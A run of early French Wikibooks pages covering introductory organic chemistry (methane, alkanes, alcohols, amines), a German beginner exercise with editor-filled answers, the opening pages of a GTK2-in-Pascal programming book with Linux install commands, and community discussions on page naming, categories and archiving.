grandes quantités au fond des océans sous forme de sels (principalement des bicarbonates)... La moitié des émissions de méthane sont dues à des activités humaines : l'agriculture avec notamment la culture de riz dans des rizières. l'élevage : la fermentation pendant la digestion des ruminants forme du méthane dans l'estomac qui est expulsé sous forme d'éructations mais aussi de "vents". les décharges compactées dans lesquelles les déchets fermentent produisent du méthane sous forme de biogaz. exploitation du gaz naturel : des fuites de méthane se produisent mines de charbon : des fuites de grisou, gaz explosif dont le méthane est le principal constituant, s'y produisent à intervalles réguliers.. == Propriété == Aux conditions normales de température et de pression, c'est un gaz plus léger que l'air, incolore et inodore. Il se liquéfie à -164°C et se solidifie à -185°C. Le méthane est un combustible. Il s'enflamme à 667°C en présence d'oxygène. La réaction de combustion du méthane s'écrit : CH<sub>4</sub> + 2O<sub>2</sub> --> CO<sub>2</sub> + 2H<sub>2</sub>O<br />méthane + oxygène --> dioxyde de carbone + eau Retour [[Chimie organique:Alcanes_et_cycloalcanes|Chimie organique : alcanes et cycloalcanes]] Chimie organique Alcanes Cycloalcanes Introduction 2412 14007 2005-02-08T11:48:29Z Antoinel 182 /* Ramifications : */ Les alcanes sont des hydrocarbures (ils ne comportent que des atomes d'hydrogène et de carbone), saturés (chaque carbone a quatre liaisons différentes), à chaîne linéaire ou ramifiée.<br />La formule générale d'un alcane (linéaire) est C<sub>n</sub>H<sub>2n+2</sub>, ou n représente le nombre d'atome de carbone et 2n+2 le nombre d'atome d'hydrogène.<br />Exemple : C<sub>2</sub>H<sub>2n+2</sub> a 2(2)+2=6 atomes d'hydrogène soit C<sub>2</sub>H<sub>6</sub>. == Nomenclature == Afin de nommer un hydrocarbure, on peut suivre plusieurs régles : Si la molécule n'a pas de fonction : #Trouver la chaîne carbonée la plus longue, l'alcane qui y correspond donnera son nom à la molécule. #Ecrire autant de carbones que l'exige le nom de l'alcane de base et numéroter chacun de ses atomes. #Numéroter les ramifications en préfixe.</br >Exemple : 2-méthylpentane. La ramification méthyle se trouve sur le 2ème carbone du pentane.<br /> Si l'alcane a une fonction : #Trouver la chaîne carbonée la plus longue portant la fonction. #Numéroter la fonction selon sa place sur la chaîne carbonée et avec le plus petit numéro possible. Exemple : Ethyl-2-pentène-1. Le chaîne carbonée la plus longue est un pentène, avec la fonction alcène en première position et une ramification éthyle en deuxième position. === Chaînes principales === Les chaînes linéaires sont : <table border=1><tr><td>CH<sub>4</sub> : méth'''ane'''</td><td>C<sub>11</sub>H<sub>24</sub> : undéc'''ane'''</td></tr> <tr><td>C<sub>2</sub>H<sub>6</sub> : éth'''ane'''</td> <td>C<sub>12</sub>H<sub>26</sub> : dodéc'''ane'''</td> </tr> <tr><td>C<sub>3</sub>H<sub>8</sub> : prop'''ane'''</td><td>C<sub>13</sub>H<sub>28</sub> : tridéc'''ane'''</td></tr> <tr><td>C<sub>4</sub>H<sub>10</sub> : but'''ane'''</td><td>C<sub>14</sub>H<sub>30</sub> : tétradéc'''ane'''</td></tr> <tr><td>C<sub>5</sub>H<sub>12</sub> : pent'''ane'''</td><td>C<sub>15</sub>H<sub>32</sub> : pentadéc'''ane'''</td></tr> <tr><td>C<sub>6</sub>H<sub>14</sub> : hex'''ane'''</td><td>C<sub>20</sub>H<sub>42</sub> : eicos'''ane'''</td></tr> <tr><td>C<sub>7</sub>H<sub>16</sub> : hept'''ane'''</td><td>C<sub>21</sub>H<sub>44</sub> : heneicos'''ane'''</td></tr> <tr><td>C<sub>8</sub>H<sub>18</sub> : oct'''ane'''</td><td>C<sub>30</sub>H<sub>62</sub> : triacont'''ane'''</td></tr> <tr><td>C<sub>9</sub>H<sub>20</sub> : non'''ane'''</td><td>C<sub>40</sub>H<sub>82</sub> : tétracont'''ane'''</td></tr> <tr><td>C<sub>10</sub>H<sub>22</sub> : déc'''ane'''</td><td>C<sub>50</sub>H<sub>102</sub> : pentacont'''ane'''</td></tr></table> === Ramifications :=== * CH<sub>3</sub> - : méthyl- * C<sub>2</sub>H<sub>5</sub>- : éthyl- == Dessiner des alcanes == == Application == >> [[Chimie_organique_Alcanes_Cycloalcanes_Introduction_Test|Test]] Retour [[Chimie organique]] LSF/Vocab/moche 2413 14008 2005-02-02T08:04:42Z Kowey 113 {{LSF}} <font size="+2"> Voir [[LSF/Vocab/affreux|affreux]] </font> [[Catégorie:LSF/Vocabulaire fr à lsf|moche]] Chimie organique (alcools introduction) 2414 20814 2005-09-09T15:32:17Z 80.200.110.161 /* Exemple d'alcools */ == Qu'est-ce qu'un alcool ? == Un alcool est un composé organique dont la molécule contient un (ou pluiseurs) groupe hydroxyle -OH lié à un atome de carbone tétragonal. La formule générale d'un alcool est R-OH == Les différents alcools == Il existe trois classes d'alcool : #les alcools primaires : l'atome de carbone est lié à un groupe hydroxyle -OH, à deux atomes d'hydrogènes et à un radical organique R (un atome d'hydrogène ou un atome de carbone). La formule de l'alcool primaire est : [[Image:Alcprim.gif]] #les alcools secondaires : l'atome de carbone est lié à un groupe hydroxyle -OH, à un atome d'hydrogène et à deux radicaux organiques (R et R'). La formule de l'alcool secondaire est : [[Image:Alcool-secondaire.gif]] #les alcools tertiaires : l'atome de carbone est lié à un groupe hydroxyle -OH et à trois radicaux organiques (R, R' et R"). La formule de l'alcool tertiaire est : [[Image:Alcool_tertiaire.gif]] === Test de reconnaissance de la classe d'un alcool === Par ajout d'un alcool primaire ou secondaire sur une solution de permanganate de potassium KMnO<sub>4</sub>, la solution se décolore. <br /> Par contre, par ajout d'un alcool tertiaire, la solution ne se décolore pas ! == Nomenclature des alcools == Nommer la chaîne carbonée la plus grande contenant la fonction alcool. Numéroter les carbone de façon à ce que la fonction alcool ait le plus petit numéro possible. Rajouter le préfixe -ol, précédé du numéro de sa position sur la chaîne carbonée.<br />Exemple : Butane-1-ol : le premier atome de carbone est lié au groupe hydroxyle -OH. == Exemple d'alcools == *Le méthanol : CH<sub>3</sub>OH *L'éthanol : C<sub>2</sub>H<sub>5</sub>OH *Le propan-2-ol : CH<sub>3</sub>CH-OH-CH<sub>3</sub> <br />[[Chimie organique (alcools introduction) Test|Test]]<br /> Retour [[Chimie organique]] Chimie organique:Amines 2415 14010 2005-02-08T11:30:15Z Antoinel 182 /* Les différentes classes d'amines */ Une amine est une molécule dérivée de l'ammoniac dont certains hydrogènes ont été remplacés par un groupement carboné. Le nombre d'atomes d'hydrogène déterminent la classe de l'amine. == Les différentes classes d'amines == * Amine primaire : l'atome d'azote est lié à un atome de carbone; il reste deux atomes d'hydrogène.<br />La formule générale est : R-NH<sub>2</sub> * Amine secondaire : l'atome d'azote est lié à deux atomes de carbone; il reste un atome d'hydrogène.<br />La formule générale est : R-NH-R' * Amine tertiaire : l'atome d'azote est lié à trois atomes de carbones.<br /> La formule générale est : [[Image:Amine_tertiaire.gif]] <br /> Retour [[Chimie Organique]] Chimie Organique 2416 14011 2005-02-02T18:39:17Z Greudin 1 Chimie Organique déplacé vers Chimie organique #REDIRECT [[Chimie organique]] Test Allemand Niveau 1 Leçon 2 2418 44395 2006-06-12T12:11:53Z 62.167.12.42 /* Question */ == Conjugaison == Conjuguez les verbes suivants aux personnes indiquées : #wohnen (2ème pers. du singulier) :du wohnst #wohnen (3ème pers. du singulier) :er wohnt #machen (2ème pers. du pluriel) : du machst #machen (1ère pers. du singulier): ich mache #spielen (3ème pers. du singulier) :er spielt #spielen (3ème pers. du pluriel) :ihr spielt == Vocabulaire == Traduisez : #jaune : gelb #gris : grau #dix-huit : achtzehn #quinze :fünfzehn #bleu :blau #hellgrün :vert claire #rot :rouge #vierzehn : quatorze #sechzehn :seize #schwarz :noir == Question == Posez une question sur l'élément souligné. Exemple : Er heißt <u>Franz</u>. Wie heißt er ? # Sie wohnst <u>in Paris</u>.:lebt Sie in Paris? # <u>Inge</u> wohnt in Berlin.: Wo lebt Inge? # Du heißt <u>Tonia</u>.: Wie Heisst Sie? # Es ist <u>ein Buch</u>.: Was ist dass? # Ich bin <u>fünfzehn Jahre alt</u>.Wie alt bist Du? == Verbes == Complétez avec les verbes appropriés : # Sie wohnt..... in Deutschland. # Wo .ist.... Berlin ? # Was .macht.... er ? (Que fait-il ?) # Ich ..bin... neunzehn Jahre alt. == Réponses== === Conjugaison === #du wohnst #er, sie wohnt #ihr macht #ich mache #er, sie spielt #sie spielen === Conjugaison === #gelb #grau #achtzehn #fünfzehn #blau #vert clair #rouge #quatorze #seize #noir === Questions === # Wo wohnst sie ? # Wer wohnt in Berlin ? # Wie heißt du ? # Was ist das ? # Wie alt bist du ? === Verbes === # wohnen # liegt # macht # bin <br /><br /> Retour [[Allemand Niveau 1 Leçon2]] <br /> [[Allemand Niveau 1 Leçon 3]]<br /> [[Enseignement de l'allemand : Niveau 1]] Programmation GTK2 en Pascal 2419 14014 2005-05-07T10:29:50Z NSV 283 {{EnTravaux}} === Sommaire de ce « livre » === * [[Programmation GTK2 en Pascal Introduction|Introduction]] * Pré-requis ** [[Programmation GTK2 en Pascal Logiciels nécessaires|Logiciels nécessaires]] ** [[Programmation GTK2 en Pascal Installation sous Linux|Installation sous Linux]] ** [[Programmation GTK2 en Pascal - Installation sous Windows|Installation sous Windows]] ** [[Programmation GTK2 en Pascal - Installation sous Mac/OS|Installation sous Mac/OS]] * [[Programmation GTK2 en Pascal Une application minimale|Une application minimale]] * Les bases ** [[Programmation GTK2 en Pascal La notion d'objet|La notion d'objet]] ** [[Programmation GTK2 en Pascal - La gestion des évènements|La gestion des évènements]] ** [[Programmation GTK2 en Pascal - Le placement des contrôles|Le placement des contrôles]] * Les contrôles (''widgets'') Gtk ** [[Programmation GTK2 en Pascal - Les fenêtres|Les fenêtres]]<br /><small>[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] ~ [[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] ~ [[Programmation GTK2 en Pascal - GtkMessageDialog|GtkMessageDialog]]</small> ** [[Programmation GTK2 en Pascal - Les conteneurs|Les conteneurs]]<br /><small>[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] ~ [[Programmation GTK2 en Pascal - GtkBox|GtkBox]] ~ [[Programmation GTK2 en Pascal - GtkBin|GtkBin]] ~ [[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]] ~ [[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]] ~ [[Programmation GTK2 en Pascal - GtkTable|GtkTable]] ~ [[Programmation GTK2 en Pascal - GtkNotebook|GtkNotebook]]</small> ** [[Programmation GTK2 en Pascal - Les visuels|Les visuels]]<br /><small>[[Programmation GTK2 en Pascal - GtkLabel|GtkLabel]] ~ [[Programmation GTK2 en Pascal - GtkImage|GtkImage]] ~ [[Programmation GTK2 en Pascal - GtkStatusBar|GtkStatusBar]] ~ [[Programmation GTK2 en Pascal - GtkProgressBar|GtkProgressBar]] ~ [[Programmation GTK2 en Pascal - GtkDrawingArea|GtkDrawingArea]]</small> ** [[Programmation GTK2 en Pascal - Les boutons|Les boutons]]<br /><small>[[Programmation GTK2 en Pascal - GtkButton|GtkButton]] ~ [[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] ~ [[Programmation GTK2 en Pascal - GtkCheckButton|GtkCheckButton]] ~ [[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]]</small> ** [[Programmation GTK2 en Pascal - La saisie de données|La saisie de données]]<br /><small>[[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]] ~ [[Programmation GTK2 en Pascal - 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Introduction|Introduction]] * Pré-requis ** [[Programmation GTK2 en Pascal - Logiciels nécessaires|Logiciels nécessaires]] ** [[Programmation GTK2 en Pascal - Installation sous Linux|Installation sous Linux]] ** [[Programmation GTK2 en Pascal - Installation sous Windows|Installation sous Windows]] ** [[Programmation GTK2 en Pascal - Installation sous Mac/OS|Installation sous Mac/OS]] * [[Programmation GTK2 en Pascal - Une application minimale|Une application minimale]] * Les bases ** [[Programmation GTK2 en Pascal - La notion d'objet|La notion d'objet]] ** [[Programmation GTK2 en Pascal - La gestion des évènements|La gestion des évènements]] ** [[Programmation GTK2 en Pascal - Le placement des contrôles|Le placement des contrôles]] * Les contrôles (''widgets'') Gtk ** [[Programmation GTK2 en Pascal - Les fenêtres|Les fenêtres]] ** [[Programmation GTK2 en Pascal - Les conteneurs|Les conteneurs]] ** [[Programmation GTK2 en Pascal - Les visuels|Les visuels]] ** [[Programmation GTK2 en Pascal - Les boutons|Les boutons]] ** [[Programmation GTK2 en Pascal - La saisie de données|La saisie de données]] ** [[Programmation GTK2 en Pascal - Les listes déroulantes|Les listes déroulantes]] ** [[Programmation GTK2 en Pascal - Les menus|Les menus]] ** [[Programmation GTK2 en Pascal - Les décorations|Les décorations]] ** [[Programmation GTK2 en Pascal - La barre d'outils|La barre d'outils]] ** [[Programmation GTK2 en Pascal - Les sélections|Les sélections]] ** [[Programmation GTK2 en Pascal - Les zones de texte|Les zones de texte]] ** [[Programmation GTK2 en Pascal - Les listes et arbres|Les listes et arbres]] * La Glib : [[Programmation GTK2 en Pascal - Objets de la glib|objets]] et [[Programmation GTK2 en Pascal - Fonctions de la glib|fonctions]] * [[Programmation GTK2 en Pascal - Dessiner avec le Gdk|Dessiner avec le Gdk]] * [[Programmation GTK2 en Pascal - Conclusion|Conclusion]] * [[Programmation GTK2 en Pascal - Bibliographie|Bibliographie]] |} Programmation GTK2 en Pascal - Introduction 2421 14016 2005-02-02T20:58:28Z Didier 186 Ébauche {{Programmation GTK2 en Pascal}} [[Image:Gtk.png|left]] '''GTK+''' (The Gimp Tool Kit) est un ensemble de bibliothèques (au sens informatique du terme, c'est-à-dire un ensemble de fonctions) développé originellement pour les besoins du logiciel de traitement d'images The Gimp (GNU Image Manipulation Program) et utilisé également pour le développement de l'environnement de bureau GNOME. GTK+ peut-être utilisé pour créer des programmes avec interfaces graphiques facilement. GTK+ est libre (licence GNU LGPL) et multiplateforme. Le plan de ce « livre » est calqué sur le site wiki [http://www.gtk-fr.org/ GtkFr - Cours Gtk+-2] qui concerne la programmation de GTK+ version 2 mais en langage C. Ce site et son ancêtre [http://www.gtk-fr.org/old/] sont sous licence GFDL. Ce « livre » se veut donc l'équivalent, un manuel de référence pour la programmation GTK+ version 2 en langage Pascal. Une bonne connaissance du Pascal est nécessaire ; vous pouvez pour l'acquérir vous référer au livre [[Programmation Pascal]]. Programmation GTK2 en Pascal - Logiciels nécessaires 2422 14017 2005-03-08T20:51:55Z Didier 186 Màj version 2.0RC2 de Free Pascal, dernière version Gtk, etc. {{Programmation GTK2 en Pascal}} == Compilateur Pascal == Un bon compilateur libre est le [http://www.freepascal.org Free Pascal]. La version stable disponible en mars 2005, est la 1.0.10. Il est multi-plateforme et fonctionne pour les systèmes Linux, FreeBSD, NetBSD, MacOSX/Darwin, MacOS classic, DOS, Win32, OS/2, BeOS, SunOS (Solaris), QNX et Classic Amiga. Une version 2 est en préparation. Au mois de mars 2005, on peut télécharger une version 1.9.8 (2.0 RC 2) qui a pour avantage d'incorporer les en-têtes GTK+ version 2.0. L'outil de développement de Borland, [http://www.borland.com/products/downloads/download_kylix.html Kylix pour Linux], est disponible gratuitement pour écrire des programmes open-source. On peut l'utiliser comme un simple compilateur pascal sans utiliser le système de gestion de fenêtres (basé d'ailleurs pour la version portable, CLX, sur Qt, un système concurrent à GTK). La version windows, [http://www.borland.com/products/downloads/download_delphi.html Delphi pour win32], n'est ''apparemment'' plus disponible en téléchargement gratuit. == En-têtes GTK2 pour le langage Pascal == Ces en-têtes servent d'interface entre les programmes et les bibliothèques GTK. Le projet [http://sourceforge.net/projects/gtk2forpascal Gtk2 for Pascal] en fournit sous licence LGPL. Elle sont utilisables par les compilateurs Free Pascal, Delphi et Kylix. La version stable disponible en mars 2005, est la 1.0.7. Ces en-têtes sont intégrées dans la version 2.0 du compilateur Free Pascal (au mois de mars 2005, la version 2.0 RC 2, 1.9.8 est disponible). == Bibliothèques GTK+ == [http://www.gtk.org/ GTK+] s'appuie sur plusieurs bibliothèques : * Gtk : contient les fonctions de gestion des contrôles visuels ; * Glib : contient les fonctions de bas-niveau ; * Pango : contient les fonctions de texte et notamment tout ce qui est internationalisation ; * Atk : contient les fonctions gérant l'accessibilité. En mars 2005, Gtk et Glib sont en version 2.6.2 (les versions windows sont toujours des 2.4) et Pango en version 1.8.0. Wikilivres:Prise de décision 2424 14019 2005-03-05T10:48:54Z Esope 99 /* Discussions en cours */ - [[/Nom des rédacteurs|Noms des rédacteurs]] ''Cette page est faite pour que chacun puisse exprimer ses choix quant aux décisions prises sur Wikilivres.''<br /> ''Le système de prise de décision étant [[w:fr:consensus|consensuel]], vous êtes invités à faire de nouvelles propositions pour faire avancer les choses et à modifier votre vote si de nouvelles propositions vous conviennent ou ne vous conviennent pas.''<br /> ''Ajoutez en haut de page les nouveaux sujets à débattre.'' == Discussions en cours == ===[[/Nom des rédacteurs|Noms des rédacteurs]] === Comment nommer, de manière générale, les rédacteurs participant à Wikilivres ? === [[/Conventions de nommage|Conventions de nommage]] === Comment nommer les pages des livres ? Peut-être avec le nom de la notion qui est expliqué sur la page en question.<br />Ou alors "titre du livre_nom du chapitre_nom du sous chapitre". [[Utilisateur:Antoinel|Antoinel]] 8 fév 2005 à 11:41 (UTC) === [[/Utilisation des catégories|Utilisation des catégories]] === Utilisation des catégories dans Wikilivres === [[/Nettoyage du bistro|Nettoyage du bistro]] === Comment nettoyer le bistro ? Wikilivres:Prise de décision/Conventions de nommage 2425 45172 2006-06-18T18:02:03Z Greudin 1 /* Traduction des conventions anglaises */ + Les nom donnés aux pages d'un même Wikilivre ne suivent pour l'instant aucune règle consensuelle, chaque auteur faisant « sa sauce », peut être faudrait il essayer d'utiliser une convention pour les noms de pages (et l'appliquer). J'ai essayé de répertorier toutes les possibilités présentes à l'heure actuelle sur Wikilivres : * '''rien de spécial''', chaque page du livre possède son titre, sans référence au titre du livre, etc. c'est le cas du [[Manuel de philosophie (terminale)|manuel de philosophie]], qui possède par exemple une partie sur [[Autrui]] ; * '''espaces''', chaque sous page d'une page reprend le titre de cette dernière, c'est le cas du (meta-)livre [[Programmation]] et de ses descendants comme [[Programmation C]] ou encore de [[Programmation C Pointeurs]] ; * '''slash''', même convention qu'avec des '''espaces''', mais avec des slash ce coup ci, c'est le cas de [[LSF]] ; * '''tiret''', même convention mais avec des tirets, c'est le cas de [[Tribologie]] ; * '''namespace''', dans ce cas le thème général du livre est placé comme ''namespace'' et a priori le '''rien de spécial''' s'applique ensuite, c'est le cas de [[Analyse]]. Pour ce qui est de l'existant, il y a déjà une page sur une conventions : [[Wikilivres:Conventions de dénomination]], mais ce qu'elle propose (ou impose) ne semble avoir jamais été appliqué sur aucun livre. Je propose que chacun donne son avis sur ce qu'il convient de faire (laisser tel quel, appliquer une règle, laquelle ?) et que procédions ensuite à un vote. [[Utilisateur:Guillaumito|Guillaumito]] 3 fév 2005 à 11:11 (UTC) Ça serait peut-être mieux — histoire d'harmoniser — qu'il y ait une règle. [[Utilisateur:Didier|Didier]] 3 fév 2005 à 18:06 (UTC) Oui il faut une règle, je pense. [[Utilisateur:Weft|Weft]] 4 fév 2005 à 17:38 (UTC) Le slash me paraît la meilleure solution ([[Utilisateur:DomQ|DomQ]] 6 fév 2005 à 20h30): # cette convention s'intègre techniquement avec le WWW : elle permet par ex. une commande en une seule ligne avec ''wget'' pour télécharger tout un livre ou tout un chapitre, facilite la configuration d'un proxy-cache, ou encore permettra à l'avenir de créer automatiquement les liens «chapitre parent» à partir de la feuille de style sans avoir à réécrire aucune page; # on garde une plus grande liberté de choix du jeu de caractères que ce que propose [[Wikilivres:Conventions de dénomination]], en particulier les espaces qui sont importants pour les titres (en faire des séparateurs obligatoires, comme dans [[Programmation]], est une erreur); # le rendu textuel du titre de haut de page est quasi idéal (il serait évidemment préférable que «Cuisine/Cuisine et érotisme» soit typographié ainsi : «Cuisine / Cuisine et érotisme», mais à nouveau c'est une amélioration qu'on peut apporter plus tard à Mediawiki de façon centralisée sans avoir à modifier aucune page). Amha, les séparateurs /, :, - se valent, par contre je serais enclin de conseiller le titre du livre (premier article) avant le séparateur. [[Utilisateur:Greudin|Greudin]] 24 fév 2005 à 09:31 (UTC) Personnellement, les arguments de [[Utilisateur:DomQ|DomQ]] me convainquent et j'opterai pour les séparateurs slash une fois le vote lancé. [[Utilisateur:Esope|Esope]] 25 fév 2005 à 10:13 (UTC) J'appuie aussi la proposition de la barre oblique (que vous appelez ''slash'' ;) ) [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:49 (UTC). A noter que sur [[:en:Wikibooks:Naming policy]], il semble que les nouveaux livres doivent être rédigés avec la conventions ''slash'' ou ''namespace''. Je penche également pour slash, car je ne vois pas trop les avantages procurés pas ''namespace'' (surtout qu'il ne s'agit pas d'un vrai namespace). Par contre, il y a également un débat sur le fait de mettre plusieurs niveau derrière le slash ou de n'en laisser qu'un ([[Livre de la vie/Animal/Vertébré/Mammifère/Homme]] ou [[Livre de la vie/Homme]]) [[Utilisateur:Epommate|Epommate]] 24 oct 2005 à 21:42 (UTC) Je suis débutant dans le domaine du wikilivre mais je commence à voir certaines limites dans la façon de faire les liens. Le choix proposé plus haut est convenable mais j'aimerai qu'on puisse nous même apposer un titre à la nouvelle page plutôt que de reprendre celui par le lien. Que ca reste en tant que nom de page dans la barre adresse du butineur, oui. Mais qu'il devienne nouveau titre, je ne suis pas trop d'accord.<br> Peut être utiliser un sous titre de premier niveau pour créer le titre de la page...<br> Comme a dit [[user:greudin]], les séparateurs se valent et ont tous leurs avantages et défauts en fonction du domaine où ils seront utilisés.<br> Ce qui serait bien également est de prévoir un modèle standard pour aller et revenir dans les pages wiki qui pourra etre customiser à volonté pour les pros et utilisable facilement pour les plus débutants. (Hors sujet je sais. Dsl)<br> [[Utilisateur:Dunkelzahn|Dunkelzahn]] 7 nov 2005 à 16:49 (UTC) Le slash serait plutot l'avantage de faire des classements ou sous-dossiers afin d'organiser proprement le livre. En gros des chapitres ou alors des thèmes quand on fait son site web. [[Utilisateur:Dunkelzahn|Dunkelzahn]] 7 nov 2005 à 16:57 (UTC) ===Traduction des conventions anglaises=== J'ai placé dans l'aide la traduction des conventions des wikibooks anglophones.<br> [[Wikilivres:Conventions sur les titres d'articles]]<br> c'est assez clair et ça semble foncionnel, en particulier le lien automatique vers l'arborescence.<br> [[Utilisateur:Nicombo|Nicombo]] 17 juin 2006 à 03:36 (CEST) :Merci Nicombo ! La version en anglais a beaucoup plus d'expérience qu'ici,profitons en. [[Utilisateur:Greudin|Greudin]] Wikilivres:Prise de décision/Utilisation des catégories 2426 24206 2005-10-24T21:54:42Z Epommate 705 Que doit on faire du système de catégories ? Pour l'instant il est peu utilisé dans les livres et plutot résérvé aux catégories « administratives » comme la catégorie des [[:Catégorie:Wikilivres:ébauches|ébauches]]. Cependant quelques livres ([[Tribologie]] par exemple) utilisent des catégories, faut il généraliser cet usage ou l'interdire (ou encore, ne rien imposer) ? [[Utilisateur:Guillaumito|Guillaumito]] 3 fév 2005 à 12:49 (UTC) :Une des principales différences entre les contenus de Wikipédia et de Wikilivres est la manière dont ils s(er)ont lus. Alors que les articles de Wikipédia sont souvent autosuffisants, il est conseillé de lire ceux d'un wikilivre dans un certain ordre (sauf pour le lecteur qui veut parfaire sa connaissance). Cela induit qu'il faut faire attention à ce que l'internaute puisse aisément naviguer dans le wikilivre, comme il pourrait le faire avec un livre en papier (et, puisque Wikilivres regroupe plusieurs wikilivres, dans une bibliothèque) : revenir "en arrière" ou sauter un chapitre (notions qui normalement ne peuvent exister dans une encyclopédie puisque ce mot signifie à peu près "savoir circulaire", donc qui peut être commencé à n'importe quel endroit), prendre un autre livre du même rayon qui correspondra plus à notre recherche, ... :Deux types de navigation existent actuellement : le "menu" par <nowiki>{{modèle}}</nowiki> (utilisé notamment par les livres de [[Programmation]] et d'[[Histoire de l'Europe]]) et les catégories (livre de [[Tribologie]]). :Selon moi, il faudrait combiner les deux méthodes, tout simplement parce que, comme indiqué plus haut, le lecteur peut avoir deux attentes différentes dans la navigation : soit atteindre un autre point du wikilivre (pratique avec les menus par modèles), soit ouvrir un autre wikilivre (pratique avec les catégories). :En conclusion, je préconiserais, comme apparemment cela s'est fait pour le livre de [[Tribologie]] : * l'usage des catégories pour ranger les livres dans leur rayon, de façon "poupées russes" : le livre est sur une étagère qui fait partie d'un rayon qui fait partie d'un coin de la salle qui fait partie de la salle même qui fait partie de l'étage... donc en utilisant la catégorie la plus proche et en usant des sous-catégories. * l'usage des modèles pour faciliter la navigation à l'intérieur du livre, à voir en fonction du livre évidemment. :[[Utilisateur:Esope|Esope]] 23 fév 2005 à 19:21 (UTC) * Je pense que dans certains cas c'est utile [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:51 (UTC) AMHA, il y a deux sortes de catégorie qui ne devrait pas se recouper : * Celle permettant de ranger les livres (comme dans une bibliothèques). Cette utilisation semble pleinement justifiée. * Celle permettant de ranger les pages/sections d'un livre. Pour cette seconde utilisation, il me parait déjà nécessaire de mettre dans le nom de la catégorie, le nom du livre [[:catégorie:un beau livre:sous catégorie du livre]]. Ensuite plusieurs utilisations sont possibles : *Classer toutes les pages dans la catégorie du livre : cela permettrais de disposer d'un lien vers un point unique pour chaque page. Par contre, les pages classé par ordre alphabétique ne me paraissent pas très utile. *Classer les pages du livres en thème : cela serait très audacieux, je n'ai jamais vu de livre utilisant un autre classement que les pages les unes à la suite des autres. Bref, la catégorisation inter-livre ne me parait pas indispensable. [[Utilisateur:Epommate|Epommate]] 24 oct 2005 à 21:54 (UTC) Wikilivres:Prise de décision/Nettoyage du bistro 2427 22490 2005-10-02T04:00:52Z Pfv2 445 Bien que pour l'instant [[Wikilivres:Le Bistro|notre bistro]] reste d'un volume raisonnable, il faudrait peut être envisager son nettoyage et donc la manière de le nettoyer. Plusieurs politiques pourraient être appliquées : * tout archiver ; * archiver ce qui est « intéressant », déplacer ce qui « doit l'être » au « bon » endroit (par exemple une discussion sur un livre sur la page de discussion de ce livre) et supprimer le reste ; * tout supprimer. Si d'autres personnes ont d'autres idées de politique de nettoyage, ils peuvent les proposer ici. [[Utilisateur:Guillaumito|Guillaumito]] 3 fév 2005 à 13:03 (UTC) :Personnellement je suis pour l'archivage et le rangement des messages au bon endroit. Les messages pourraient ainsi être répartis en quatre catégories (les différentes salles du Bistro présentes sur des pages différentes du style Le Bistro/Salle des questions ?) : #Les questions, que je propose de ranger sur une page à part afin de faciliter la rédaction de la FAQ; #Les messages concernant un livre en particulier, à ranger sur la page du livre; #Les messages concernant le projet Wikilivres de manière générale (je pense au message concernant la Charte pédagogique); #Les messages concernant la coordination autour de la rédaction du contenu (je pense au message concernant la Wikiversité, mais surtout, bien que ce cas ne se soit pas encore présenté sur Wikilivres, à ma connaissance, les "Wikiprojets" comme on en retrouve sur Wikipédia : Projet Économie, Projet Japon et culture japonaise, ...). :Ces catégories seraient, selon moi, à utiliser pour l'archivage, une fois la discussion terminée. :[[Utilisateur:Esope|Esope]] 21 fév 2005 à 22:09 (UTC) Je pense que l'on devrait tout archiver comme dans Wikipédia, d'autant plus que présentement il n'y a pas beaucoup de personnent pour alimenter le bistro. [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 04:00 (UTC) Programmation GTK2 en Pascal - Installation sous Linux 2429 44600 2006-06-15T21:20:30Z 213.245.89.209 /* Compilation */ {{Programmation GTK2 en Pascal}} == Compilateur Pascal == === Free Pascal === ==== Mandrake ==== Avec un [http://lis.snv.jussieu.fr/~rousse/linux/urpmi.html urpmi] bien configuré ([http://easyurpmi.zarb.org/]) : #urpmi fpc et le tour est joué. Ou pour avoir la dernière version (au mois de mars 2005, la 1.9.8), il faut télécharger sur le site http://www.freepascal.org le fichier <code>fpc-1.9.8-0.i586.rpm</code> qu'on installe classiquement : #rpm --install fpc-1.9.8-0.i586.rpm === Kylix === ''<à compléter>'' == En-têtes GTK2 pour le langage Pascal == === Free Pascal version 1.0 ou Kylix === L'archive <code>gtk2forpascal-1.0.7.tgz</code> est à télécharger sur le site [http://sourceforge.net/projects/gtk2forpascal Gtk2 for Pascal]. Il faut décompresser ensuite l'archive, par exemple dans le répertoire où vous placez vos sources : $tar -xvzf gtk2forpascal-1.0.7.tgz Cela créé un sous-répertoire <tt>gtk2</tt> avec tout ce qu'il faut dedans. === Free Pascal version 2.0 (1.9.x) === Si vous avez installé la version 2.0 du compilateur Free Pascal (ou les versions RC, 1.9.x), vous avez déjà ces en-têtes. Mais elles sont précompilés pour fonctionner avec les bibliothèques Gtk+ 2.0, pas 2.2, 2.4 ou 2.6 qui apportent pas mal de nouveautés intéressantes. En attendant que l'équipe de Free Pascal le fasse, pour recompiler ces unités en version 2.6, la dernière disponible en mars 2005, vous devez télécharger les sources du compilateur Free Pascal, exemple pour Mandrake, le fichier <code>fpc-1.9.8-0.src.rpm</code>. #rpm --install fpc-1.9.8-0.src.rpm #cd /usr/src/RPM/SOURCES #tar -xvzf fpc-1.9.8-src.tar.gz #cd packages/extra/gtk2 Il faut mettre à jour le fichier <code>gtk+/gtk/gtkincludes.inc</code> car il y a 3 unités qui ne passent pas. Mettez en commentaires les lignes : // new GtkFileChooser Widget //{$IFDEF HasGTK2_6} //{$include gtkfilechooserdefault.inc} //{$include gtkfilechooserembed.inc} //{$include gtkfilechooserentry.inc} //{$ENDIF} Puis on poursuit : #make OPT=-dGTK2_6 #cd units/i386-linux/ #cp * /usr/lib/fpc/1.9.8/units/i386-linux/gtk2 Nos unités sont disponibles. == Bibliothèques GTK+ == Sur un Linux où un Gnome récent est installé, les bibliothèques GTK+ version 2 seront installés. Vous pouvez vérifier quelle version est installée sur votre système à l'aide de la ligne de commande suivante : $pkg-config --modversion gtk+-2.0 S'il vous répond, un truc du style : Package gtk+-2.0 was not found in the pkg-config search path. 